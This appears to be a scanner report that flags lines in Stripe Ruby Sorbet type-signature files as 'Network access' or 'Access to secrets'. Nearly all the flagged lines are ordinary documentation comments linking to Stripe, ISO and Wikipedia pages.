def payment_method_options; end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default paym - Network accessline 596
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 685
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 686
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 687
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 697
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 698
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 699
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 881
sig { returns(T::Boolean) } def attempted; end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state - Network accessline 882
def attempted; end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance w - Network accessline 883
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti - Access to secretsline 906
[Credential-related source omitted] - Network accessline 910
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 911
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 912
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 972
sig { returns(T.nilable(String)) } def footer; end # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. - Network accessline 973
def footer; end # Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. sig { returns(T.nilable(FromInvoice)) } - Network accessline 974
# Details of the invoice that was cloned. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. - Network accessline 978
sig { returns(T.nilable(String)) } def hosted_invoice_url; end # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will b - Network accessline 979
def hosted_invoice_url; end # Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`. sig - Network accessline 980
# Unique identifier for the object. For preview invoices created using the [create preview](https://stripe.com/docs/api/invoices/create_preview) endpoint, this id will be prefixed with `upcoming_in`. - Network accessline 999
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 1000
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 1001
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1011
sig { returns(String) } def object; end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See th - Network accessline 1012
def object; end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](ht - Network accessline 1013
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co - Network accessline 1053
sig { returns(T.nilable(String)) } def statement_descriptor; end # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overvi - Network accessline 1054
def statement_descriptor; end # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview) sig { returns(T.nilable(String) - Network accessline 1055
# The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview) - Network accessline 1086
sig { returns(T.nilable(T::Array[TotalTax])) } def total_taxes; end # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/ - Network accessline 1087
def total_taxes; end # Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the - Network accessline 1088
# Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have [been exhausted](https://docs.stripe.com/billing/webhooks#understand). This field tracks the time when webhooks for t - Network accessline 1113
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1114
# # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. sig { - Network accessline 1115
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1128
# credited to the invoice immediately. # # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1129
# # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. sig { - Network accessline 1130
# See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more. - Network accessline 1136
# This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice - Network accessline 1148
# Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi - Network accessline 1149
# # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 1150
# Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) - Network accessline 1156
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 1162
# Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided]( - Network accessline 1198
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 1204
# Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att - Network accessline 1232
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 1240
# Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal - Network accessline 1248
# Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized), - Network accessline 1250
# # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i - Network accessline 1251
# If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice - Network accessline 1252
# sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass - Network accessline 1271
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 1272
# # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre - Network accessline 1273
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no - Network accessline 1279
# Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c - Network accessline 1280
# # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre - Network accessline 1281
# Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_item.rbi
- Network accessline 4
# typed: true module Stripe # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included - Network accessline 5
module Stripe # Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoic - Network accessline 6
# Invoice Items represent the component lines of an [invoice](https://docs.stripe.com/api/invoices). When you create an invoice item with an `invoice` field, it is attached to the specified invoice and included as [an invoice line item](htt - Network accessline 7
# # Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or - Network accessline 8
# Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined # with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or cred - Network accessline 9
# with a [subscription](https://docs.stripe.com/api/subscriptions). Sometimes you want to add a charge or credit to a customer, but actually charge - Network accessline 11
# (to minimize per-transaction fees), or for having Stripe tabulate your usage-based billing totals. # # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https:// - Network accessline 12
# # Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items). class InvoiceItem < API - Network accessline 13
# Related guides: [Integrate with the Invoicing API](https://docs.stripe.com/invoicing/integration), [Subscription Invoices](https://docs.stripe.com/billing/invoices/subscription#adding-upcoming-invoice-items). - Network accessline 114
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 115
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 116
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 144
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 145
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 146
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_line_item.rbi
- Network accessline 4
# typed: true module Stripe # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice. - Network accessline 5
module Stripe # Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice. # - Network accessline 6
# Invoice Line Items represent the individual lines within an [invoice](https://docs.stripe.com/api/invoices) and only exist within the context of an invoice. - Network accessline 7
# # Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items). class InvoiceLineItem < APIResource - Network accessline 8
# Each line item is backed by either an [invoice item](https://docs.stripe.com/api/invoiceitems) or a [subscription item](https://docs.stripe.com/api/subscription_items). - Network accessline 240
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 241
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 242
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 264
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 265
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items - Network accessline 266
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items with `type=subscripti
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_payment.rbi
- Network accessline 6
# Invoice Payments represent payments made against invoices. Invoice Payments can # be accessed in two ways: # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. - Network accessline 7
# be accessed in two ways: # 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. # 2. By using the Invoice Payment retrieve and list endpoints. - Network accessline 8
# 1. By expanding the `payments` field on the [Invoice](https://api.stripe.com#invoice) resource. - Network accessline 56
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 57
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 58
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice_rendering_template.rbi
- Network accessline 16
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 17
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/authorization.rbi
- Network accessline 5
module Stripe module Issuing # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 6
module Issuing # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be a - Network accessline 7
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 8
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 9
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 10
# # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) class Authorization < APIResource - Network accessline 11
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 145
end class Fuel < ::Stripe::StripeObject # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 146
class Fuel < ::Stripe::StripeObject # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String)) } - Network accessline 147
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 168
end class MerchantData < ::Stripe::StripeObject # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 169
class MerchantData < ::Stripe::StripeObject # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. sig { r - Network accessline 170
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 240
end end # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency uni - Network accessline 241
end # The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://d - Network accessline 242
# The additional amount Stripe will hold if the authorization is approved, in the card's [currency](https://docs.stripe.com/api#issuing_authorization_object-pending-request-currency) and in the [smallest currency unit](https://docs.stripe.c - Network accessline 243
sig { returns(Integer) } def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 244
def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(AmountDetai - Network accessline 245
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 246
sig { returns(T.nilable(AmountDetails)) } def amount_details; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur - Network accessline 247
def amount_details; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 248
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 249
sig { returns(String) } def currency; end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authori - Network accessline 250
def currency; end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. sig { returns(T: - Network accessline 251
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 252
sig { returns(T::Boolean) } def is_amount_controllable; end # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencie - Network accessline 253
def is_amount_controllable; end # The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { retur - Network accessline 254
# The amount the merchant is requesting to be authorized in the `merchant_currency`. The amount is in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 283
end end # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your acc - Network accessline 284
end # The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund - Network accessline 285
# The `pending_request.amount` at the time of the request, presented in your card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Stripe held this amount from your account to fund the authori - Network accessline 286
sig { returns(Integer) } def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 287
def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(AmountDetai - Network accessline 288
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 298
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 299
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 300
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 301
sig { returns(String) } def currency; end # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-d - Network accessline 302
def currency; end # The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(I - Network accessline 303
# The `pending_request.merchant_amount` at the time of the request, presented in the `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 304
sig { returns(Integer) } def merchant_amount; end # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currenc - Network accessline 305
def merchant_amount; end # The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must - Network accessline 306
# The currency that was collected by the merchant and presented to the cardholder for the authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https: - Network accessline 327
end class Treasury < ::Stripe::StripeObject # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization - Network accessline 328
class Treasury < ::Stripe::StripeObject # The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization sig { returns(T::Array[String]) } - Network accessline 329
# The array of [ReceivedCredits](https://docs.stripe.com/api/treasury/received_credits) associated with this authorization - Network accessline 330
sig { returns(T::Array[String]) } def received_credits; end # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization - Network accessline 331
def received_credits; end # The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization sig { returns(T::Array[String]) } - Network accessline 332
# The array of [ReceivedDebits](https://docs.stripe.com/api/treasury/received_debits) associated with this authorization - Network accessline 333
sig { returns(T::Array[String]) } def received_debits; end # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization - Network accessline 334
def received_debits; end # The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization sig { returns(T.nilable(String)) } - Network accessline 335
# The Treasury [Transaction](https://docs.stripe.com/api/treasury/transactions) associated with this authorization - Network accessline 400
end end # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unl - Network accessline 401
end # The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `curre - Network accessline 402
# The total amount that was authorized or rejected. This amount is in `currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `amount` should be the same as `merchant_amount`, unless `currency` and ` - Network accessline 403
sig { returns(Integer) } def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 404
def amount; end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(AmountDetails)) - Network accessline 405
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 415
sig { returns(T::Array[::Stripe::BalanceTransaction]) } def balance_transactions; end # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 416
def balance_transactions; end # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. sig { returns(::Stripe::Issuing::Card) } - Network accessline 417
# You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders. - Network accessline 424
sig { returns(Integer) } def created; end # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO c - Network accessline 425
def created; end # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.o - Network accessline 426
# The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-co - Network accessline 442
sig { returns(T::Boolean) } def livemode; end # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `m - Network accessline 443
def livemode; end # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same - Network accessline 444
# The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same as `amount`, unless `me - Network accessline 445
sig { returns(Integer) } def merchant_amount; end # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this auth - Network accessline 446
def merchant_amount; end # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO cu - Network accessline 447
# The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.or - Network accessline 451
sig { returns(MerchantData) } def merchant_data; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a - Network accessline 452
def merchant_data; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retur - Network accessline 453
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 469
sig { returns(String) } def status; end # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null. - Network accessline 470
def status; end # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null. sig { returns(T.nilable(T.any(Stri - Network accessline 471
# [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null. - Network accessline 472
sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Token))) } def token; end # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization. - Network accessline 473
def token; end # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization. sig { returns(T::Array[::Stripe::Issuing::Transaction]) } - Network accessline 474
# List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization. - Network accessline 475
sig { returns(T::Array[::Stripe::Issuing::Transaction]) } def transactions; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stri - Network accessline 476
def transactions; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts). sig { returns(T.n - Network accessline 477
# [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts). - Network accessline 487
sig { returns(T.nilable(String)) } def wallet; end # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/do - Network accessline 488
def wallet; end # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizati - Network accessline 489
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 490
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 496
# [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow. - Network accessline 497
# This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling). - Network accessline 503
